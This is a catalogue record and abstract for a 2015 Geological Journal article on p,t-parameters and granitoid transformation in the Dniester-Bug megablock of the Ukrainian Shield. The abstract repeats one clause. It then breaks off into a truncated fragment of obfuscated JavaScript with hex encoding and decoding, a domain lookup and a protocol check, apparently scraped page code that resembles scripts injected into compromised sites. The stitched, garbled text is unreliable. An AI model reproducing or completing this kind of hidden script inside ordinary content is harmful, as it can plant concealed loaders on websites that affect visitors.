ABOUT INTERDEPENDENCE OF p,t-PARAMETERS AND DEGREE OF STRUCTURAL-SUBSTANCEAL TRANSFORMATION FOR FRAGMENTS ON THE DNIESTER-BUG MEGABLOCK THE UKRAINIAN SHIELD

• Date: 2015
• Main Authors: Osmachko, L.S., Vilkovsky, V.A., Kasianenko, K.O., Vishnevsky, A.A.
• Format: Article
• Language: Russian
• Published: Institute of Geological Sciences, NAS of Ukraine 2015
• Subjects: structures; granitoids; the degree of transformation; garnet-biotite parageneses; p; t-parameters
• Online Access: http://geojournal.igs-nas.org.ua/article/view/139173
• Journal Title: Geological journal

Methods of structural-paragenetic analysis and thermodynamic studies were applied. The organization of Litynska and Khmelnytska structures of the Dniester-Bug megablock of Ukrainian Shield were analysed at different hierarchical levels. The distribution of p,t-parameters of forming rocks, related to variations in the structural features of geological bodies also was analysed. Studied part of the megablock on a collection of data was interpreted as a part of shear and rotation of dislocational system, which was formed in several tectonic impulses. P,t-values of formation of rock associations of Litynska and Khmelnytska structures depend on level of their structural and metamorphic transformations. Estimated depth of garnets’ formation from granitoids of the Dniester- Bug megablock is 10-23 km. P,t-values of prevailing rocks of Litynska and Khmelnytska structures are located in the area between geoterms of prevailing rocks of Litynska and Khmelnytska structures are located in the area between geoterms of stable continental crust and island arcs. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e